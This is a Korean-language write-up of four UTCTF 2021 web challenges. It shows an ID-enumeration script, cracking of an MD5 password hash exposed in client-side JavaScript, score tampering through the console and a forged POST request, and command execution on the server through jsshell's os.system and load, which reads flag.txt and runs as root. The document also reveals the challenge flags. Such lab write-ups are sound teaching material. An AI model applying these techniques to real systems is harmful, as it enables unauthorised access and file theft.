UTCTF 2021 Writeup

2021-03-15

단순히 다양한 워게임 풀면서 다시 복습할려고 했는데 아는분이 CTF같이 하자고 해서 UTCTF를 하게됐다.

Oinker

+ Description
  + I found this cool more private alternative to twitter.

+ Link
  + http://web2.utctf.live:5320/

+ Created by
  + a1c3

+ Hint
  + Post two phrases with the same text and notice what changes between them
  • 문제 분석

    플래그를 얻기위해 Oinker문제에 있는 링크를 타고 무슨 사이트인지 분석해보면

    Oinker main page

    Write and post your oink, then share the secret link to your friends

    이라는 텍스트와 입력할 수 있는 공간이 있는걸 보고

    한번 test를 입력하면

    Oinker test oink

    /oink/40 링크로 이동하게되면서 내가 입력했던 텍스트가 출력되는것을 보고

    XSS , SQLi, SSTI등의 취약점을 발생시킬 수 있는 페이로드를 넣었지만 다시 웹에서 돌아가는 구조를 살펴보니

    계속 입력하면 할수록 url의 /oink/n 이 하나씩 늘어나면서 우리가 입력했던 텍스트들이 저장되는 기능이 있었다.

  • 문제 풀이

    그래서 나의 추측으로는 /oink/n 어딘가에 FLAG가 있을꺼라 생각하고 /oink/0 /oink/1 /oink/2 로 몇번 접속 했는데

    https://web2.utctf.live:5320/oink/2 2로 해보니

    Oinker Flag

    utflag{traversal_bad_dude} 플래그가 노출된것을 볼 수 있다.

    이 문제는 만약 적은 수인 2가 아니라 54, 100 이런 범위가 큰 숫자였으면

      from requests import get
    
      url = "https://web2.utctf.live:5320/oink/{}"
    
      for Oinker in range(1,10000):
          GetFlag = requests.get(url.format(Oinker)).text
    
          if GetFlag.find("utflag") != -1:
              print(f"Flag Page /Oinker/{Oinker}")
              print(GetFlag)
    
    

    python 스크립트로 브루트포싱을 시도했을것이다.

Flag is utflag{traversal_bad_dude}


Source it!

+ Description
  + Can you see how this page handles authentication?

+ Link
  + http://web1.utctf.live:8778

+ Created by
  + Rob H
  • 문제 분석

    문제 링크에 들어가보면

    Source-it!

    이런식으로 로그인 기능이 있는것같은 페이지가 나오게된다.

    문제를 분석하기 위해 페이지 마우스 우클릭 -> 페이지 소스 보기 를 눌러서 해당 페이지의 소스코들 확인해보면

      <form onSubmit = "return checkPassword(this)"> 
          <table border = 1 align = "center"> 
              <tr> 
                  <!-- Enter Username -->
                  <td>Username:</td> 
                  <td><input type = text name = name size = 25</td> 
              </tr> 
              <tr> 
                  <!-- Enter Password. -->
                  <td>Password:</td> 
                  <td><input type = password name = password1 size = 25</td> 
              </tr> 
              <tr> 
                  <td colspan = 2 align = right> 
                  <input type = submit value = "Submit"></td> 
              </tr> 
          </table> 
      </form> 
    

    입력한 Username, password를 입력하면 js의 checkPassword라는 함수를 호출하는걸 볼 수 있습니다.

      function checkPassword(form) { 
          password1 = form.password1.value; 
          name = form.name.value;
          var username = "admin";
          var hash = "1bea3a3d4bc3be1149a75b33fb8d82bc"; 
          var hashedPasswd = CryptoJS.MD5(password1);
       
          if (password1 == '') 
              alert ("Please enter Password"); 
                  
          else if (username != name) { 
              alert ("\nYou lack access privlages...") 
              return false; 
          }
                         
          else if (hash != hashedPasswd) { 
              alert ("\nIncorrect password...") 
              return false; 
          } 
      
          else{ 
              alert("Access Granted\n" + text) 
              return true; 
          } 
      } 
    

    checkPassword 함수를 살펴보면

    • 첫번째 if

      password에 입력하지 않았다면 Please enter Password 경고창 출력

    • 두번쨰 else if

      username과 name이 같지 않다면 \nYou lack access privlages... 경고창 출력

    • 세번째 else if

      hash과 hashedPasswd이 같이 않다면 \nIncorrect password... 경고창 출력

    • 네번째 else

      만약 모든 조건에 해당되지 않는다면 Access Granted\n + text 경고창 출력

    이런식으로 체크하게됩니다.

    이 문제는 2가지의 방법이 존재하는데

  • 문제 풀이 1

    먼저 Access Granted 가 나오게 할려면 name 과 username이 같아야되고 password1을 MD5로 해쉬화한 hashedPasswd랑 hash이 같아야됩니다.

    먼저 username은 admin이라고 나와있고 hash는 md5인것으로 봐서

    MD5Online 해당 사이트에 1bea3a3d4bc3be1149a75b33fb8d82bc를 넣으면 sherlock이 나오게됩니다.

    이제 username:admin , password:sherlock 를 입력해보면

    Access Granted

    alert(경고창)이 뜨면서 utflag{b33n_th3r3_s0uRc3d_th4t} 플래그가 나오게됩니다.

  • 문제 풀이 2

    해당 문제의 경우 우리가 알 수 없는 Server Side에 admin인지 체크하지 않고 오직 Client Side에서 js로 admin 인지 체크를 하게 됩니다.

    Client Side로 민감한 정보를 가지고 하는 경우 쉽게 조작 또는 노출이 가능합니다.

    즉 클라이언트 어딘가에 FLAG가 있다는것인데

    Client Side Flag

    상단에 있는 소스코드를 보면

      <script src="assets/js/main.js"></script>
    

    assets/js/main.js 를 해당 페이지에 포함하게 됩니다. 한번 http://web1.utctf.live:8778/assets/js/main.js 으로 접근해보면

      let text = `utflag{b33n_th3r3_s0uRc3d_th4t}`;
    

    이렇게 text 변수로 FLAG가 노출되어있는것을 볼 수 있습니다.

이 문제는 md5를 복호화할 필요 없이 웹 페이지를 제대로 분석했다면 쉽게 얻을 수 있는 문제였다.

Flag is utflag{b33n_th3r3_s0uRc3d_th4t}


+ Description
  + I built this awesome game based off of cookie clicker! Bet you'll never beat my high score. Hehehe!

+ Link
  + http://web1.utctf.live:4270

+ Created by
  + Aya Abdelgawad
  • 문제 분석

    해당 문제 링크에 들어가보면

    Cookie

    이런식으로 js canvas를 이용하여 쿠키 모양과 Your score, Time remaining, Your best, High score 이 나오는것을 볼 수 있는데

    해당 Your score값은 쿠키를 누르면 1씩 오르지만 Time remaining이 타이머 기능을 하는것으로 보아 0이 되기 전에 Your score값이 High score값의 이상이 되어야하는것 같습니다.

    해당 페이지를 우클릭 -> 페이지 소스 보기 를 해보면

      <!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="UTF-8">
          <title>Cookie Clicker Rip-Off</title>
      </head>
      <body>
          <canvas id="myCanvas"></canvas>
          <script src=/static/game.js></script>
      </body>
    

    이렇게 짦은 html코드가 나오게되는데 하단에 있는 /static/game.js 로 이동하면

    gamejs

    아까 나온 쿠키와 관련된 코드들이 노출되어있습니다.

    페이지를 한번씩 클릭할 수록 Your score 가 1씩 늘어나는데 해당 로직(클릭 이벤트)을 찾아보면

      window.addEventListener('click', function(event){
          if(pressedCookie(event.x, event.y) && playingGame){
              numClicks++;
          }
      })
    

    이렇게 click 이벤트를 발생시키면서 numClicks 변수를 1씩 늘리는것을 볼 수 있습니다.

    해당 기능이 아까 클릭했을때 1씩 늘어나는지 기능 확인하기 위해 페이지로 돌아간 다음

    F12(개발자도구) -> Console 로 이동한 다음

    numClicks

    numClickes++; 코드를 실행하면 위의 사진처럼 Your score 값이 1 늘어난것을 볼 수 있습니다.

    그리고 /static/game.js 파일의 하단 코드를 살펴보면

      function timer(curTime){
          requestAnimationFrame(timer);
          drawCookie(curTime);
          if(curTime > 30000 && playingGame){
              playingGame = false;
              //CB and alter url before using on isss server
              fetch("http://" + location.hostname + ":4270",{
                  method: "POST",
                  credentials: 'same-origin',
                  body: JSON.stringify({
                      score: numClicks,
                  })
              })
              .then(response => response.text()).then(data => notify(data));
          }
      }
        
      requestAnimationFrame(timer);
    

    이런식으로 http://location.hostname:4270 에 fetch API를 이용하여 HTTP request POST메소드 방식으로 {sroce:numClicks} 를 보내는걸 보아하니

    쿠키를 클릭하면서 numClicks 를 1씩 늘리고

    Time remaining값이 0이되면 POST방식으로 numClicks값을 score키로 보냅니다.

  • 문제 풀이 1

    먼저 High score값만큼 Your score를 눌려주기 위해 f12(개발자도구) -> Console 으로 이동한 다음

      numClicks = 1000001;
      1000001
    

    numClicks = 1000001; 를 입력하면 Your score값이 개발자도구로 인하여쉽게 조작한 다음 Time remaining값이 0될때까지 기다리면

    alert numClicks

    이렇게 alert 창이 뜨면서 FLAG가 출력되는것을 볼 수 있습니다.

  • 문제 풀이 2

    아까 방법의 경우 numClicks 변수를 조작하고 Time remaining값이 0될때까지 기다려야 플래그가 노출되는데

    위에서 분석한

      function timer(curTime){
          requestAnimationFrame(timer);
          drawCookie(curTime);
          if(curTime > 30000 && playingGame){
              playingGame = false;
              //CB and alter url before using on isss server
              fetch("http://" + location.hostname + ":4270",{
                  method: "POST",
                  credentials: 'same-origin',
                  body: JSON.stringify({
                      score: numClicks,
                  })
              })
              .then(response => response.text()).then(data => notify(data));
          }
      }
        
      requestAnimationFrame(timer);
    

    해당 코드에서는 현재 url에 { score: numClicks } 정보를 전송하게 됩니다.

    즉 Time remaining값이 0되면 위의 코드를 실행하게 되는것입니다.

    그러면 Time remaining를 기다릴 필요 없이 POST방식으로 요청하면 바로 플래그를 얻을 수 있습니다.

    POST 방식으로 요청하기 위해 Burp suite(Proxy) 툴을 이용하여

      POST / HTTP/1.1
      Host: web1.utctf.live:4270
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Connection: close
      Cookie: highScore=0
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
        
      {
      	"score":1000001
      }
        
        
    

    해당 헤더대로 Cookie와 { "score":1000001 } 를 추가해주면

    웹페이지에 Congrats! The flag is utflag{numnum_cookies_r_yumyum} 이런식으로 FLAG가 나오게됩니다.

Flag is utflag{numnum_cookies_r_yumyum}


Fastfox

+ Description
  + Help me show Bob how slow his browser is!

+ Link
  + http://web1.utctf.live:8124/

+ Created by
  + mattyp

+ Hint
  + https://ftp.mozilla.org/pub/firefox/releases/58.0b15/jsshell/
  + Bob's libc version is 2.27-3ubuntu1.4 (for x86_64).
  + The flag is stored at /flag.txt.
  • 문제 분석

    해당 문제 링크에 들어가보면

    main page

    console.log('hello world'); 이 입력되어있습니다. 해당 텍스트를 나두고

    Submit 버튼을 눌러보면

      output:
      hello world
    

    console.log('hello world'); 에 있었던 hello world가 출력하게 됩니다.

    해당 페이지를 분석해봐도 딱히 보이는 취약점이 없어 힌트를 보니

    첫번쨰 힌트로 해당 링크를 제공하였습니다. 들어가보면 jsshell를 다운받을 수 있는 페이지가 나타나는데 저의 운영체제에 맞게 jsshell-win64.zip 를 다운받은 후 압축 풀어보니 수많은 dll 파일과 한개의 js.exe파일이 있는것을 확인했습니다.

    먼저 js.exe가 무엇인지 몰라 구글링을 해보니 자료가… 드럽게 없었다.

  • 문제 풀이 1

    그래서 한번 추측해서 사람들이 설명서 볼때 쓰는 help단어를

    console.log(help); 이렇게 넣어보니

      function help() {
          [native code]
      }
    

    이렇게 함수 형식으로 나오는것을 보고 console.log(help()); 를 넣으면

    help

    이렇게 되게 많은 jsshell에 대한 정보가 나와있습니다.

    해당 문제의 경우 3번째 힌트에 /flag.txt 파일을 읽으라고 나와있는데

    아까 help() 결과중 파일을 읽는 함수를 찾아보면

      load(['foo.js' ...])
      loadRelativeToScript(['foo.js' ...])
      run('foo.js')
      readRelativeToScript(filename, ["binary"])
      os.file.readFile(filename, ["binary"])
      ...
    

    많은 함수들이 존재합니다.

    먼저 파일 관련된 load 함수를 console.log(load('./flag.txt')); 이렇게 시도해보니

      errors:
      /usr/src/app/./flag.txt:1:6 SyntaxError: unexpected token: '{':
      /usr/src/app/./flag.txt:1:6 utflag{d1d_y0u_us3_a_j1t_bug_0r_nah}
      /usr/src/app/./flag.txt:1:6 ......^
      Stack:
        @1943462120256576285.js:1:13
        
    

    이런 로그가 나오게 되면서 플래그 탈취에 성공하였습니다.

  • 문제 풀이 2

    위의 문제 풀이대로 help()를 시도하여 함수 설명들을 읽어보면

    /flag.txt 힌트 없이도

    os.system 함수를 이용하여 shell명령어를 사용할 수 있었습니다.

      console.log(os.system("ls"));
    
      output:
      1001594621380063572.js
      1008553980228079692.js
      103302417580101409.js
      1035975800224810760.js
      ...(생략)
      99706464801547583.js
      Dockerfile
      README.md
      app.py
      docker-compose.yml
      flag.txt
      js
      jsshell-linux-x86_64.zip
      requirements.txt
      sploit.js
      static
      templates
      0
    
      console.log(os.system("cat flag.txt"));
    
      output:
      utflag{d1d_y0u_us3_a_j1t_bug_0r_nah}
      0
    
    

    ls 명령어를 이용하여 현재 디렉토리에 있는 파일또는 디렉토리 목록는 가져온 다음

    cat 명령어로 flag.txt 파일을 읽어 플래그 탈취에 성공했습니다.

    근데 호기심에 한번 id 명령어를 쳐보니

      output:
      uid=0(root) gid=0(root) groups=0(root)
      0
    

    root 유저로 실행되고있었다는것이다.

    이뜻은 대부분의 파일들을 조작 또는 수정이 가능하고 서버측에 엄청난 피해를 줄 수 있는것이다. 해당 문제의 경우 Docker 컨테이너로 돌려지는것같았지만 원활한 문제 운영을 위해 root가 아닌 일반 유저로 생성하여 권한 설정해줬으면 좋았을것같다.

    권한 때문인지 /flag.txt에 있다고 힌트를 주는데 누군가가 삭제하거나 내용을 지웠는지 몇십분동안 삽질했다.

Flag is utflag{d1d_y0u_us3_a_j1t_bug_0r_nah}


후기

UTCTF의 문제중 Fastfox문제가 참 신기했고 흥미로웠다.